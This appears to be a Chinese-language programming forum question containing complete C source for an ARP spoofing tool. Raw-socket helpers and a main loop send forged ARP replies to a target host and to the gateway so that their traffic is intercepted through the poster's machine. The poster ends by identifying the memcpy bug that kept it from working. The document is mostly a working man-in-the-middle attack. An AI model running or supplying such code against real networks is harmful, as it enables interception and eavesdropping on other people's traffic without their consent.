好吧,我已经尝试解决这个问题有一段时间了。我用 C 语言编写了一段代码,它基本上执行简单的 ARP 请求和回复等操作。我认为实现 ARP 欺骗会很棒。我成功发送了精心设计的 ARP 回复并使用 Wireshark 进行了确认。令我沮丧的是,我没有看到任何带有目标 IP 的数据包路由到我的设备。我做了我能做的一切,例如启用 IP 转发并将我的网络接口设置为混杂模式。然而,当我使用 Scapy 时它确实有效,所以我只能假设问题出在我的代码上或者 ARP 的制作方式上。
a) 这是头文件:
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <asm/types.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <linux/if_packet.h>
#include <linux/if_ether.h>
#include <linux/if_arp.h>
#include <arpa/inet.h> //htons etc
#define PROTO_ARP 0x0806
#define ETH2_HEADER_LEN 14
#define HW_TYPE 1
#define MAC_LENGTH 6
#define IPV4_LENGTH 4
#define ARP_REQUEST 0x01
#define ARP_REPLY 0x02
#define BUF_SIZE 60
struct arp_header {
unsigned short hardware_type;
unsigned short protocol_type;
unsigned char hardware_len;
unsigned char protocol_len;
unsigned short opcode;
unsigned char sender_mac[MAC_LENGTH];
unsigned char sender_ip[IPV4_LENGTH];
unsigned char target_mac[MAC_LENGTH];
unsigned char target_ip[IPV4_LENGTH];
};
/*
* Converts struct sockaddr with an IPv4 address to network byte order uint32_t.
* Returns 0 on success.
*/
uint32_t int_ip4(struct sockaddr *addr)
{
if (addr->sa_family == AF_INET) {
struct sockaddr_in *i = (struct sockaddr_in *) addr;
return i->sin_addr.s_addr;
} else {
perror("Not AF_INET");
exit(EXIT_FAILURE);
}
}
/*
* Writes interface IPv4 address as network byte order to ip.
* Returns 0 on success.
*/
int get_if_ip4(int fd, const char *ifname, uint32_t *ip)
{
struct ifreq ifr;
memset(&ifr, 0, sizeof(struct ifreq));
strcpy(ifr.ifr_name, ifname);
if (ioctl(fd, SIOCGIFADDR, &ifr) == -1) {
perror("SIOCGIFADDR");
return 1;
}
*ip = int_ip4(&ifr.ifr_addr);
return 0;
}
/*
* Gets interface information by name:
* IPv4
* MAC
* ifindex
* Returns 0 on success.
*/
int get_if_info(const char *ifname, uint32_t *ip, unsigned char *mac, int *ifindex)
{
struct ifreq ifr;
int sd = socket(AF_PACKET, SOCK_RAW, htons(PROTO_ARP));
strcpy(ifr.ifr_name, ifname);
// Get interface index using name
if (ioctl(sd, SIOCGIFINDEX, &ifr) == -1) {
perror("SIOCGIFINDEX");
return 1;
}
*ifindex = ifr.ifr_ifindex; // get interface index
// Get MAC address of the interface
if (ioctl(sd, SIOCGIFHWADDR, &ifr) == -1) {
perror("SIOCGIFINDEX");
return 1;
}
// Copy mac address to output
memcpy(mac, ifr.ifr_hwaddr.sa_data, MAC_LENGTH);
// Get IPv4 of the interface
if (get_if_ip4(sd, ifname, ip)) {
perror("Unresolved IPv4 of the Interface");
return 1;
}
return 0;
}
/*
* Creates a raw socket that listens for ARP traffic on specific ifindex.
* Writes out the socket's FD.
* Return 0 on success.
*/
int bind_arp(int ifindex, int *fd)
{
// Submit request for a raw socket descriptor.
*fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ARP));
if (*fd < 1) {
perror("socket()");
exit(EXIT_FAILURE);
}
struct sockaddr_ll sll;
memset(&sll, 0, sizeof(struct sockaddr_ll));
sll.sll_family = AF_PACKET;
sll.sll_ifindex = ifindex;
if (bind(*fd, (struct sockaddr*) &sll, sizeof(struct sockaddr_ll)) < 0) {
perror("bind");
if (*fd > 0)
close(*fd);
exit(EXIT_FAILURE);
}
return 0;
}
/*
* Sends an ARP who-has request to dst_ip
* on interface ifindex, using source mac src_mac and source ip src_ip.
* Return 0 on success.
*/
int send_arp_request(int fd, int ifindex, unsigned const char *src_mac, uint32_t src_ip, uint32_t dst_ip)
{
unsigned char buffer[BUF_SIZE];
memset(buffer, 0, sizeof(buffer));
struct sockaddr_ll socket_address;
socket_address.sll_family = AF_PACKET;
socket_address.sll_protocol = htons(ETH_P_ARP);
socket_address.sll_ifindex = ifindex;
socket_address.sll_hatype = htons(ARPHRD_ETHER);
socket_address.sll_pkttype = (PACKET_BROADCAST);
socket_address.sll_halen = MAC_LENGTH;
socket_address.sll_addr[6] = 0x00;
socket_address.sll_addr[7] = 0x00;
struct ethhdr *send_req = (struct ethhdr *) buffer;
struct arp_header *arp_req = (struct arp_header *) (buffer + ETH2_HEADER_LEN);
// Broadcast
memset(send_req->h_dest, 0xff, MAC_LENGTH);
// Target MAC zero
memset(arp_req->target_mac, 0x00, MAC_LENGTH);
// Set source mac to our MAC address
memcpy(send_req->h_source, src_mac, MAC_LENGTH);
memcpy(arp_req->sender_mac, src_mac, MAC_LENGTH);
memcpy(socket_address.sll_addr, src_mac, MAC_LENGTH);
/* Setting protocol of the packet */
send_req->h_proto = htons(ETH_P_ARP);
/* Creating ARP request */
arp_req->hardware_type = htons(HW_TYPE);
arp_req->protocol_type = htons(ETH_P_IP);
arp_req->hardware_len = MAC_LENGTH;
arp_req->protocol_len = IPV4_LENGTH;
arp_req->opcode = htons(ARP_REQUEST);
/* Copy IP address to arp_req */
memcpy(arp_req->sender_ip, &src_ip, sizeof(uint32_t));
memcpy(arp_req->target_ip, &dst_ip, sizeof(uint32_t));
if (sendto(fd, buffer, 42, 0, (struct sockaddr *) &socket_address, sizeof(socket_address)) == -1) {
perror("sendto():");
return 1;
}
return 0;
}
/*
* Sends an ARP Reply request to dst_ip
* on interface ifindex, using source mac src_mac and source ip src_ip.
* Return 0 on success.
*/
int send_arp_reply(int fd, int ifindex, unsigned const char *src_mac, uint32_t src_ip, unsigned const char *dst_mac, uint32_t dst_ip)
{
unsigned char buffer[BUF_SIZE];
memset(buffer, 0, sizeof(buffer));
struct sockaddr_ll socket_address;
socket_address.sll_family = AF_PACKET;
socket_address.sll_protocol = htons(ETH_P_ARP);
socket_address.sll_ifindex = ifindex;
socket_address.sll_hatype = htons(ARPHRD_ETHER);
socket_address.sll_pkttype = (PACKET_OTHERHOST);
socket_address.sll_halen = MAC_LENGTH;
socket_address.sll_addr[6] = 0x00;
socket_address.sll_addr[7] = 0x00;
struct ethhdr *send_rep = (struct ethhdr *) buffer;
struct arp_header *arp_rep = (struct arp_header *) (buffer + ETH2_HEADER_LEN);
// Set destination MAC address in Ethernet header to target's MAC address
memcpy(send_rep->h_dest, dst_mac, MAC_LENGTH);
// Set target MAC in ARP header to target's MAC address
memcpy(arp_rep->target_mac, dst_mac, MAC_LENGTH);
// Set source mac to our MAC address
memcpy(send_rep->h_source, src_mac, MAC_LENGTH);
memcpy(arp_rep->sender_mac, src_mac, MAC_LENGTH);
memcpy(socket_address.sll_addr, src_mac, MAC_LENGTH);
/* Setting protocol of the packet */
send_rep->h_proto = htons(ETH_P_ARP);
/* Creating ARP reply */
arp_rep->hardware_type = htons(HW_TYPE);
arp_rep->protocol_type = htons(ETH_P_IP);
arp_rep->hardware_len = MAC_LENGTH;
arp_rep->protocol_len = IPV4_LENGTH;
arp_rep->opcode = htons(ARP_REPLY);
/* Copy IP address to arp_rep */
memcpy(arp_rep->sender_ip, &src_ip, sizeof(uint32_t));
memcpy(arp_rep->target_ip, &dst_ip, sizeof(uint32_t));
if (sendto(fd, buffer, 42, 0, (struct sockaddr *) &socket_address, sizeof(socket_address)) == -1) {
perror("sendto():");
return 1;
}
return 0;
}
/*
* Reads a single ARP reply from fd.
* Return 0 on success.
*/
int read_arp(int fd, struct arp_header **arp_resp)
{
unsigned char buffer[BUF_SIZE];
ssize_t length = recvfrom(fd, buffer, BUF_SIZE, 0, NULL, NULL);
int index;
if (length == -1) {
perror("recvfrom()");
return 1;
}
struct ethhdr *rcv_resp = (struct ethhdr *) buffer;
(*arp_resp) = (struct arp_header *) (buffer + ETH2_HEADER_LEN);
if (ntohs(rcv_resp->h_proto) != PROTO_ARP) {
perror("Not an ARP packet");
return 1;
}
if (ntohs((*arp_resp)->opcode) != ARP_REPLY) {
perror("Not an ARP reply");
return 1;
}
return 0;
}
/*
* Gets MAC address from IPv4.
* Return 0 on success.
*/
int get_mac_addr(const char *ifname, const char *ip, unsigned char* mac_addr)
{
uint32_t dst_ip = inet_addr(ip);
if (dst_ip == INADDR_NONE || dst_ip == INADDR_ANY) {
printf("Invalid destination IP\n");
exit(EXIT_FAILURE);
}
// Get interface info for source
uint32_t src_ip;
int ifindex;
unsigned char src_mac[MAC_LENGTH];
if (get_if_info(ifname, &src_ip, src_mac, &ifindex) != 0) {
perror("Failed to get interface information");
exit(EXIT_FAILURE);
}
// Bind a socket to listen for ARP replies
int arp_fd;
if (bind_arp(ifindex, &arp_fd) != 0) {
perror("Failed to bind ARP socket");
exit(EXIT_FAILURE);
}
// Continuously send ARP requests and read responses
struct arp_header *arp_resp;
while (1) {
if (send_arp_request(arp_fd, ifindex, src_mac, src_ip, dst_ip) != 0) {
perror("send_arp_request() failed");
exit(EXIT_FAILURE);
}
int ret = read_arp(arp_fd, &arp_resp);
struct in_addr sender_addr;
memcpy(&sender_addr, arp_resp->sender_ip, sizeof(sender_addr));
if (ret == 0 && strcmp(inet_ntoa(sender_addr), ip) == 0) {
memcpy(mac_addr, arp_resp->sender_mac, sizeof(mac_addr));
break;
}
}
close(arp_fd);
return 0;
}
b) 这是实现 ARP 欺骗的 C 文件:
#include "arp-utils.h"
int main()
{
unsigned char target_mac_addr[MAC_LENGTH];
unsigned char gateway_mac_addr[MAC_LENGTH];
get_mac_addr("wlp4s0", "192.168.1.6", target_mac_addr);
get_mac_addr("wlp4s0", "192.168.1.1", gateway_mac_addr);
printf("Target MAC Address: %02x:%02x:%02x:%02x:%02x:%02x\n",
target_mac_addr[0], target_mac_addr[1], target_mac_addr[2],
target_mac_addr[3], target_mac_addr[4], target_mac_addr[5]);
printf("Gateway MAC Address: %02x:%02x:%02x:%02x:%02x:%02x\n",
gateway_mac_addr[0], gateway_mac_addr[1], gateway_mac_addr[2],
gateway_mac_addr[3], gateway_mac_addr[4], gateway_mac_addr[5]);
uint32_t target_ip = inet_addr("192.168.1.6");
uint32_t gateway_ip = inet_addr("192.168.1.1");
// Get interface info for source
uint32_t src_ip;
int ifindex;
char src_mac[MAC_LENGTH];
if (get_if_info("wlp4s0", &src_ip, src_mac, &ifindex) != 0) {
perror("Failed to get interface information");
exit(EXIT_FAILURE);
}
// Bind a socket to listen for ARP replies
int arp_fd;
if (bind_arp(ifindex, &arp_fd) != 0) {
perror("Failed to bind ARP socket");
exit(EXIT_FAILURE);
}
while(1) {
if (send_arp_reply(arp_fd, ifindex, src_mac, gateway_ip, target_mac_addr, target_ip) != 0) {
perror("send_arp_reply() failed");
break;
}
if (send_arp_reply(arp_fd, ifindex, src_mac, target_ip, gateway_mac_addr, gateway_ip) != 0) {
perror("send_arp_reply() failed");
break;
}
sleep(4);
}
close(arp_fd);
return 0;
}
我希望所有发往目标设备的数据包首先通过我。
好吧,我过早地问了这个问题,问题出在
get_mac_addr
函数上。我最终复制了错误的 mac 地址,因为它应该是 memcpy(mac_addr, arp_resp->sender_mac, MAC_LENGTH);
。